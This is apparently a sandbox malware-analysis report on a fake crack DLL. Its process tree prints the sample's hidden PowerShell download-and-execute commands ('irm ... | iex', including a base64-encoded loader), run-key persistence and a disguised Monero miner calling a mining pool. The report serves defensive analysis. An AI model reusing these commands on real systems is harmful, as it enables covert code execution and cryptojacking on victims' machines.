Analysis

  • max time kernel
    149s
  • max time network
    126s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    02/11/2026, 15:08

General

  • Target
    fatalitycrack.dll
  • Size 4.1MB
  • Sample261102-sjbhtac16p
  • SHA256 7c2f4e75bb849f17f4469255b16084db2197a2dc8643ced238911c59b931cae1
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file 1 IoCs
  • Checks BIOS information in registry 2 TTPs 1 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 45 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\fatalitycrack.dll,#1
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:124
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "irm 'https://tools.lumma.cy/7dXuV?Hx=f' | iex"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4504
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\nmnyjodj\nmnyjodj.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:6040
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESECC7.tmp" "c:\Users\Admin\AppData\Local\Temp\nmnyjodj\CSCADC304C5E01846309AFD865FA9FA252.TMP"
          4⤵
            PID:4552
        • C:\Users\Admin\AppData\Local\Temp\4xt45ywa5gm\rename.exe
          "C:\Users\Admin\AppData\Local\Temp\4xt45ywa5gm\rename.exe"
          3⤵
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:256
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABpAGQAPQAnACcAOwBmAG8AcgAoACQAaQA9ADAAOwAkAGkAIAAtAGwAdAAgADYAOwAkAGkAKwArACkAewAkAGkAZAArAD0AKABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGkAbgBpAG0AdQBtACAAMAAgAC0ATQBhAHgAaQBtAHUAbQAgADEAMAApAH0AOwBpAGUAeAAgACgAaQByAG0AIAAoACcAaQByAG0ALgBzAHQALwAnACsAJABpAGQAKQApAA==
            4⤵
            • Badlisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:4128
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\104ghyjh.itw.ps1"
              5⤵
              • Badlisted process makes network request
              • Command and Scripting Interpreter: PowerShell
              • Adds Run key to start application
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:3952
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xal4wjnx\xal4wjnx.cmdline"
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:2788
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2656.tmp" "c:\Users\Admin\AppData\Local\Temp\xal4wjnx\CSC100E44E8501842689754FA57CF62617C.TMP"
                  7⤵
                    PID:3428
                • C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\SystemSettingsBroker.exe
                  "C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\SystemSettingsBroker.exe" --url stratum+tcp://pool.xmrig.de:3333 --user x.xmrrig
                  6⤵
                    PID:1148
        • C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\SystemSettingsBroker.exe
          "C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\SystemSettingsBroker.exe" --url stratum+tcp://pool.xmrig.de:3333 --user x.xmrrig
          1⤵
            PID:1960

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 2KB
                • SHA256 e1edbd1a69592e9ccfcfc7b9b4f0522ec8f9113ccc2ea5c3620b74c85347e48f
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 78fe34ac1ccc4a8bbb4b8e2789a5d3d5be134c37a15c03245a734e99a0e2cc6f
                • MD5 SHA1 SHA512 TLSH

                104ghyjh.itw.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\104ghyjh.itw.ps1
                • Size 98B
                • SHA256 cf70f689a8b3698f14cb3d4b773fe975fe3ea701317445adb4ee1ba1c56da72a
                • MD5 SHA1 SHA512 TLSH

                rename.exe

                • Path C:\Users\Admin\AppData\Local\Temp\4xt45ywa5gm\rename.exe
                • Size 3.2MB
                • SHA256 9a92d9de6f214e499541ff153e415b5a5d31e032ce883c31056a5c6a1a206405
                • MD5 SHA1 SHA512 SSDEEP TLSH

                RES2656.tmp

                • Path C:\Users\Admin\AppData\Local\Temp\RES2656.tmp
                • Size 1KB
                • SHA256 a86b9f974bc433436796de9ec5deec74443d4fee7bc1466e775d21a788b0adeb
                • MD5 SHA1 SHA512 TLSH

                RESECC7.tmp

                • Path C:\Users\Admin\AppData\Local\Temp\RESECC7.tmp
                • Size 1KB
                • SHA256 3bcbe424846d71065e48d27cd143c6127fc32b9f120f3c5c0c25e92c3251903f
                • MD5 SHA1 SHA512 TLSH

                __PSScriptPolicyTest_bcgs0c0s.yjp.psm1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bcgs0c0s.yjp.psm1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512 TLSH

                nmnyjodj.dll

                • Path C:\Users\Admin\AppData\Local\Temp\nmnyjodj\nmnyjodj.dll
                • Size 4KB
                • SHA256 538af63a411d3f9dc6759838d365e09ca64e4ec211453adb07f9240fd2b64fe6
                • MD5 SHA1 SHA512 TLSH

                xal4wjnx.dll

                • Path C:\Users\Admin\AppData\Local\Temp\xal4wjnx\xal4wjnx.dll
                • Size 4KB
                • SHA256 2ffbaee429816433a8978d057aa727bb4435808a9ef06e170487e284911b81ba
                • MD5 SHA1 SHA512 TLSH

                CSCADC304C5E01846309AFD865FA9FA252.TMP

                • Path \??\c:\Users\Admin\AppData\Local\Temp\nmnyjodj\CSCADC304C5E01846309AFD865FA9FA252.TMP
                • Size 652B
                • SHA256 63bc9c51b0158d65ffd55f0d2eda6d37524382779ba81e6a11cdc154b58e52f4
                • MD5 SHA1 SHA512 TLSH

                nmnyjodj.0.cs

                • Path \??\c:\Users\Admin\AppData\Local\Temp\nmnyjodj\nmnyjodj.0.cs
                • Size 1KB
                • SHA256 04d45e3134df0b6a8d1affb893c9e0d0240db163bf45baaca1c58f7acd2e56c5
                • MD5 SHA1 SHA512 TLSH

                nmnyjodj.cmdline

                • Path \??\c:\Users\Admin\AppData\Local\Temp\nmnyjodj\nmnyjodj.cmdline
                • Size 369B
                • SHA256 558b0803a330456206af0f2eb1dcb7905a8e4876585128fc18ae0a6e9658287d
                • MD5 SHA1 SHA512 TLSH

                CSC100E44E8501842689754FA57CF62617C.TMP

                • Path \??\c:\Users\Admin\AppData\Local\Temp\xal4wjnx\CSC100E44E8501842689754FA57CF62617C.TMP
                • Size 652B
                • SHA256 0fac64129d40affd13a446a01af41e90b86cc837aeb33b6f022cee63ec48fdcf
                • MD5 SHA1 SHA512 TLSH

                xal4wjnx.cmdline

                • Path \??\c:\Users\Admin\AppData\Local\Temp\xal4wjnx\xal4wjnx.cmdline
                • Size 369B
                • SHA256 7fb58c6fdaf25b82044318d3ddd4c7f81bf00630353b27e39678a48ad1d48378
                • MD5 SHA1 SHA512 TLSH

                memory/3952-76-0x000001D742C80000-0x000001D742C88000-memory.dmp

                memory/3952-63-0x000001D742CD0000-0x000001D742CF4000-memory.dmp

                memory/3952-62-0x000001D742CD0000-0x000001D742CFA000-memory.dmp

                memory/4504-33-0x000002A8CC3E0000-0x000002A8CC3E8000-memory.dmp

                memory/4504-45-0x00007FF9DC050000-0x00007FF9DC9F4000-memory.dmp

                memory/4504-19-0x000002A8CC410000-0x000002A8CC41A000-memory.dmp

                memory/4504-0-0x00007FF9DC1DF000-0x00007FF9DC1E0000-memory.dmp

                memory/4504-34-0x000002A8CD450000-0x000002A8CD477000-memory.dmp

                memory/4504-8-0x00007FF9DC050000-0x00007FF9DC9F4000-memory.dmp

                memory/4504-18-0x00007FF9DC050000-0x00007FF9DC9F4000-memory.dmp

                memory/4504-17-0x000002A8CD1B0000-0x000002A8CD262000-memory.dmp

                memory/4504-35-0x000002A8CC590000-0x000002A8CC59A000-memory.dmp

                memory/4504-36-0x000002A8CD480000-0x000002A8CD492000-memory.dmp

                memory/4504-4-0x000002A8B3DC0000-0x000002A8B3DE2000-memory.dmp

                memory/4504-20-0x000002A8CC5A0000-0x000002A8CC5B4000-memory.dmp

                memory/4504-50-0x00007FF9DC050000-0x00007FF9DC9F4000-memory.dmp

                memory/4504-7-0x00007FF9DC050000-0x00007FF9DC9F4000-memory.dmp

                memory/4504-6-0x00007FF9DC050000-0x00007FF9DC9F4000-memory.dmp

                memory/4504-5-0x00007FF9DC050000-0x00007FF9DC9F4000-memory.dmp

                memory/4504-16-0x000002A8CC3F0000-0x000002A8CC40E000-memory.dmp

                memory/4504-11-0x000002A8CD280000-0x000002A8CD442000-memory.dmp

                memory/4504-13-0x00007FF9DC050000-0x00007FF9DC9F4000-memory.dmp

                memory/4504-12-0x00007FF9DC050000-0x00007FF9DC9F4000-memory.dmp

                memory/4504-3-0x00007FF9DC050000-0x00007FF9DC9F4000-memory.dmp

                memory/4504-10-0x00007FF9DC050000-0x00007FF9DC9F4000-memory.dmp

                memory/4504-9-0x00007FF9DC050000-0x00007FF9DC9F4000-memory.dmp